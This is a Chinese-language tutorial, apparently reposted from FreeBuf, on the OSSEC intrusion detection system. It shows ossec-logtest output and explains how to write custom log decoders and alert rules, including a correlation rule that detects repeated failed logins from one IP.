OSSEC默认具有一个ossec-logtest工具用于测试OSSEC的泛化及告警规则。该工具一般默认安装于目录 /var/ossec/bin 中。

使用示例:

 

/var/ossec/bin/ossec-logtest
2014/06/1113:15:36 ossec-testrule: INFO: Reading local decoder file.
2014/06/11 13:15:36 ossec-testrule: INFO: Started (pid: 26740).
ossec-testrule: Type one log per line.
Jun 10 21:29:33 172.16.25.122/172.16.24.32 sshd[24668]: Accepted publickey for root from 172.16.24.121 port 38720 ssh2

**Phase 1: Completed pre-decoding.
full event: 'Jun 10 21:29:33 172.16.25.122/172.16.24.32 sshd[24668]: Accepted publickey for root from 172.16.24.121 port 38720 ssh2'
hostname: '172.16.25.122/172.16.24.32'
program_name: 'sshd'
log: 'Accepted publickey for root from 172.16.24.121 port 38720 ssh2'

**Phase 2: Completed decoding.
decoder: 'sshd'
dstuser: 'root'
srcip: '172.16.24.121'

**Phase 3: Completed filtering (rules).
Rule id: '10100'
Level: '4'
Description: 'First time user logged in.'
**Alert to be generated.

如上文所示,当输入日志内容:

Jun 1021:29:33 172.16.25.122/172.16.24.32 sshd[24668]: Accepted publickey for rootfrom 172.16.24.121 port 38720 ssh2

该条日志经过三步处理,生成了一条4级告警,规则ID为10100,内容为“First time user logged in.”

使用ossec-logtest-v命令,可获取更详细的日志分析逻辑。

/var/ossec/bin/ossec-logtest -v
2014/06/11 13:44:52 ossec-testrule: INFO: Reading local decoder file.
2014/06/11 13:44:52 ossec-testrule: INFO: Started (pid: 27091).
ossec-testrule: Type one log per line.

Jun 11 21:44:41 172.16.25.122/172.16.24.32 sshd[27743]: Did not receive identification string from 172.16.24.121

**Phase 1: Completed pre-decoding.
full event: 'Jun 11 21:44:41 172.16.25.122/172.16.24.32 sshd[27743]: Did not receive identification string from 172.16.24.121'
hostname: '172.16.25.122/172.16.24.32'
program_name: 'sshd'
log: 'Did not receive identification string from 172.16.24.121'

**Phase 2: Completed decoding.
decoder: 'sshd'
srcip: '172.16.24.121'

**Rule debugging:
Trying rule: 1 - Generic template for all syslog rules.
*Rule 1 matched.
*Trying child rules.
Trying rule: 5500 - Grouping of the pam_unix rules.
Trying rule: 5700 - SSHD messages grouped.
*Rule 5700 matched.
*Trying child rules.
Trying rule: 5709 - Useless SSHD message without an user/ip and context.
Trying rule: 5711 - Useless/Duplicated SSHD message without a user/ip.
Trying rule: 5721 - System disconnected from sshd.
Trying rule: 5722 - ssh connection closed.
Trying rule: 5723 - SSHD key error.
Trying rule: 5724 - SSHD key error.
Trying rule: 5725 - Host ungracefully disconnected.
Trying rule: 5727 - Attempt to start sshd when something already bound to the port.
Trying rule: 5729 - Debug message.
Trying rule: 5732 - Possible port forwarding failure.
Trying rule: 5733 - User entered incorrect password.
Trying rule: 5734 - sshd could not load one or more host keys.
Trying rule: 5735 - Failed write due to one host disappearing.
Trying rule: 5736 - Connection reset or aborted.
Trying rule: 5707 - OpenSSH challenge-response exploit.
Trying rule: 5701 - Possible attack on the ssh server (or version gathering).
Trying rule: 5706 - SSH insecure connection attempt (scan).
*Rule 5706 matched.

**Phase 3: Completed filtering (rules).
Rule id: '5706'
Level: '6'
Description: 'SSH insecure connection attempt (scan).'
**Alert to be generated.

2. 自定义日志泛化规则
2.1 添加日志源

添加日志源的方式很简单,通过修改/var/ossec/etc/ossec.conf 即可实现。

如果日志源是本地文件,可通过添加如下配置实现。

<localfile>
  <log_format>syslog</log_format>
  <location>/path/to/log/file</location>
</localfile>

如果日志源是远程syslog,可通过添加如下配置实现。

<remote>
<connection>syslog</connection>
<protocol>udp</protocol>
<port>2514</port>
<allowed-ips>172.16.24.0/24</allowed-ips>
</remote>

2.2 创建自定义的日志泛化规则

假如有两条日志如下文:

Jun 11 22:06:30172.17.153.38/172.16.24.32 /usr/bin/auditServerd[25649]: User blackrat loginSUCEESS from 172.17.153.36 to 172.17.153.38 distport 3333 .
Jun 11 22:06:30172.17.153.38/172.16.24.32 /usr/bin/auditServerd[25649]: User blackrat login PWD_ERRORfrom 172.17.153.36 to 172.17.153.38 distport 3333 .

该日志使用ossec-logtest分析之后结果如下:

Jun 11 22:06:30 172.17.153.38/172.16.24.32 /usr/bin/auditServerd[25649]: User blackrat login SUCEESS from 172.17.153.36 to 172.17.153.38 distport 3333 .



**Phase 1: Completed pre-decoding.
full event: 'Jun 11 22:06:30 172.16.25.130/172.16.24.32 /usr/bin/auditServerd[25649]: User blackrat login SUCEESS from 172.17.153.36 to 172.17.153.38 distport 3333 .'
hostname: '172.17.153.38/172.16.24.32'
program_name: '/usr/bin/auditServerd'
log: 'User blackrat login SUCEESS from 172.17.153.36 to 172.17.153.38 distport 3333 .'

**Phase 2: Completed decoding.
No decoder matched.

由此可知OSSEC在分析日志的时候,经过了两个泛化过程:pre-decoding和 decoding。

pre-decoding过程是ossec内置的,只要是标准的syslog日志,都可以解析出如下4个基本信息。

Timestamp:Jun 11 22:06:30

Hostname: 172.17.153.38/172.16.24.32

Programe_name: /usr/bin/auditServerd

Log: User blackrat login SUCEESS from 172.17.153.36 to 172.17.153.38 distport 3333.

在decoding过程,用户可以通过修改/var/ossec/etc/decoder.xml,实现自定义的泛化。例如在该文件中添加如下规则:

<decoder name="auditServerd">
  <program_name>/usr/bin/auditServerd</program_name>
</decoder>

再次执行/var/ossec/bin/ossec-logtest

**Phase 1: Completed pre-decoding.
full event: 'Jun 11 22:06:30 172.17.153.38/172.16.24.32 /usr/bin/auditServerd[25649]: User blackrat login SUCEESS from 172.17.153.36 to 172.17.153.38 distport 3333 .'
hostname: '172.17.153.38/172.16.24.32'
program_name: '/usr/bin/auditServerd'
log: 'User blackrat login SUCEESS from 172.17.153.36 to 172.17.153.38 distport 3333 .'

**Phase 2: Completed decoding.
decoder: 'auditServerd'

发现,该条日志成功命中了名为auditServerd的规则,该条规则可以准确的将日志定位为是程序auditServerd所发出的。

除此之外,基于auditServerd这条规则,我们还可以添加更多的子规则,来识别出更多的信息。如:

<decoder name="auditServerd">                               
  <program_name>/usr/bin/auditServerd</program_name>                        
</decoder>                                                                                                                                                                                                                                       
<decoder name="auditServerd-login">                                      
  <parent>auditServerd</parent>                           
  <regex offset="after_parent">^User (\S+) login (\S+) from (\S+) to (\S+) distport (\S+) \.$</regex>  
  <order>user,status,srcip,dstip,dstport</order>                                
</decoder>

再次执行/var/ossec/bin/ossec-logtest,可获取更多的信息,如下:

**Phase 1: Completed pre-decoding.
full event: 'Jun 11 22:06:30 172.17.153.38/172.16.24.32/usr/bin/auditServerd[25649]: User blackrat login SUCEESS from 172.17.153.36 to172.17.153.38 distport 3333 .'
hostname: '172.17.153.38/172.16.24.32'
program_name: '/usr/bin/auditServerd'
log: 'User blackrat login SUCEESS from 172.17.153.36 to 172.17.153.38distport 3333 .'

**Phase 2: Completed decoding.
decoder: 'auditServerd'
dstuser: 'blackrat'
status:'SUCEESS'
srcip: '172.17.153.36'
dstip: '172.17.153.

用户通过配置上述正则表达式,获取特定字段,用于后续的关联分析。OSSEC一共内置了14个用户可解析的字段:

   - location - where the log came from (only on FTS)

   - srcuser  - extracts the source username

   - dstuser  - extracts the destination (target) username

   - user     - an alias to dstuser (only one of the two can be used)

   - srcip    - source ip

   - dstip    - dst ip

   - srcport  - source port

   - dstport  - destination port

   - protocol - protocol

   - id       - event id 

   - url      - url of the event

   - action   - event action (deny, drop, accept, etc)

   - status   - event status (success, failure, etc)

   - extra_data     - Any extra data

3. 自定义日志告警规则

3.1 规则文件路径配置

OSSEC的规则配置文件默认路径为/var/ossec/rules/,要加载规则文件,需要在/var/ossec/etc/ossec.conf 中配置,默认的配置如下:

 <ossec_config>  <!-- rules global entry -->
  <rules>
    <include>rules_config.xml</include>
    <include>pam_rules.xml</include>
    <include>sshd_rules.xml</include>
    <include>telnetd_rules.xml</include>
    <include>syslog_rules.xml</include>
    <include>arpwatch_rules.xml</include>                                                                                                                                                                                                     
     ......                                                                                                                                                                                     
    <include>clam_av_rules.xml</include>                                                                                                                                                                                                      
    <include>bro-ids_rules.xml</include>                                                                                                                                                                                                      
    <include>dropbear_rules.xml</include>                                                                                                                                                                                                     
    <include>local_rules.xml</include>                                                                                                                                                                                                        
</rules>                                                                                                                                                                                                                                      
</ossec_config>  <!-- rules global entry -->

其实通过下列配置,可以实现加载/var/ossec/rules 下的所有规则文件:

<ossec_config>
    <rules>
        <rule_dir pattern=".xml$">rules</rule_dir>
    </rules>
</ossec_config>

于泛化规则,也可以通过配置decoder_dir域来实现,如:

<ossec_config>
    <rules>
        <decoder_dir pattern=".xml$">rules/plugins/decoders</decoder_dir>
    </rules>
</ossec_config>

上述配置可将/var/ossec/rules/plugins/plugins/decoders目录下所有的xml文件都添加为OSSEC日志泛化规则。

对于更详细的配置及语法,可参考下列文档:

http://ossec-docs.readthedocs.org/en/latest/syntax/head_ossec_config.rules.html#element-rule_dir

 

3.2 OSSEC告警规则配置

例如,我们需要增加对程序auditServerd的告警规则,我们需要针对auditServerd程序新建一个规则文件,对于OSSEC中已经存在的规则文件如sshd, openbsd, vsftpd等,我们只需要在对应的文件中进行新增或修改。

首先我们新建文件

/var/ossec/rules/auditServerd_rules.xml

添加如下内容:

<group name="auditServer,">
   <rule id="80000" level="0" noalert="1">
    <decoded_as>auditServerd</decoded_as>
    <description>Grouping for the auditServerd rules.</description>
  </rule>

  <rule id="80001" level="10">
    <if_sid>80000</if_sid>
    <user>blackrat</user>
    <srcip>172.17.153.36</srcip>
    <description>User blackrat is not allowed login from 172.17.153.36!</description>
  </rule>
</group>

上述规则中,规则id 80000 用于对日志进行分组计数,假如日志中出现了泛化为auditServerd的日志,则对该日志分组为auditServer,且状态机计数加1.

规则80001描述了假如user为blackrat,srcip为172.17.153.36 则命中,并发出“User blackrat is not allowed login from 172.17.153.36!”的告警。

将该文件路径加入到文件/var/ossec/etc/ossec.conf中

  …
 <include>dropbear_rules.xml</include>                                                                                                                                                                                                     
<include>local_rules.xml</include> 
<include>auditServerd_rules.xml</include>                                                                                                                                                                                                       
</rules>                                                                                                                                                                                                                                      
</ossec_config>

执行/var/ossec/bin/ossec-logtest,结果如下:

**Phase 1: Completed pre-decoding.
       full event: 'Jun 11 22:06:30 172.17.153.38/172.16.24.32 /usr/bin/auditServerd[25649]: User blackrat login SUCEESS from 172.17.153.36 to 172.17.153.38 distport 3333 .'
       hostname: '172.17.153.38/172.16.24.32'
       program_name: '/usr/bin/auditServerd'
       log: 'User blackrat login SUCEESS from 172.17.153.36 to 172.17.153.38 distport 3333 .'

**Phase 2: Completed decoding.
       decoder: 'auditServerd'
       dstuser: 'blackrat'
       status: 'SUCEESS'
       srcip: '172.17.153.36'
       dstip: '172.17.153.38'
       dstport: '3333'

**Phase 3: Completed filtering (rules).
       Rule id: '80001'
       Level: '10'
       Description: 'User blackrat is not allowed login from 172.17.153.36!'
**Alert to be generated.

3.3 关联分析告警规则

OSSEC可以实现基于因果关系、事件频次的关联分析告警,具体实现方式如下。

假如我们想要实现当来自同一IP的用户登陆auditServerd,在1分钟内达到5次登录失败时,进行告警,我们可以配置规则如下:

<group name="auditServer,">
   <rule id="80000" level="0" noalert="1">
    <decoded_as>auditServerd</decoded_as>
    <description>Grouping for the auditServerd rules.</description>
  </rule>

  <rule id="80001" level="10">
    <if_sid>80000</if_sid>
    <match>SUCEESS</match>
    <user>blackrat</user>
    <srcip>172.17.153.36</srcip>
    <description>User blackrat is not allowed login from 172.17.153.36!</description>
  </rule>

  <rule id="80002" level="1">
    <if_sid>80000</if_sid>
    <match>PWD_ERROR</match>
    <group>authServer_login_failures,</group>
    <description>login auditServerd password error.</description>
  </rule>

  <rule id="80003" level="15" frequency="5" timeframe="60" ignore="30"> 
    <if_matched_group>authServer_login_failures</if_matched_group>
    <description>auditServerd brute force trying to get access to </description>       
    <description>the audit system.</description>
    <same_source_ip />
    <group>authentication_failures,</group>
  </rule>
</group>

执行/var/ossec/bin/ossec-logtest,连续五次输入日志:

Jun 11 22:06:30 172.17.153.38/172.16.24.32 /usr/bin/auditServerd[25649]: User blackrat login PWD_ERROR from 172.17.153.36 to 172.17.153.38 distport 3333 .

结果如下:

**Phase 1: Completed pre-decoding.
full event: 'Jun 11 22:06:30 172.17.153.38/172.16.24.32 /usr/bin/auditServerd[25649]: User blackrat login PWD_ERROR from 172.17.153.36 to 172.17.153.38 distport 3333 .'
hostname: '172.17.153.38/172.16.24.32'
program_name: '/usr/bin/auditServerd'
log: 'User blackrat login PWD_ERROR from 172.17.153.36 to 172.17.153.38 distport 3333 .'
**Phase 2: Completed decoding.
decoder: 'auditServerd'
dstuser: 'blackrat'
status: 'PWD_ERROR'
srcip: '172.17.153.36'
dstip: '172.17.153.38'
dstport: '3333'

**Phase 3: Completed filtering (rules).
Rule id: '80003'
Level: '15'
Description: 'auditServerd brute force trying to get access to the audit system.'
**Alert to be generated.

对于OSSEC日志告警规则更详细的语法,参见:
http://ossec-docs.readthedocs.org/en/latest/syntax/head_rules.html

对于OSSEC中正则表达式的语法,参加:
http://ossec-docs.readthedocs.org/en/latest/syntax/regex.html

文章出处:
http://www.freebuf.com/articles/network/36484.html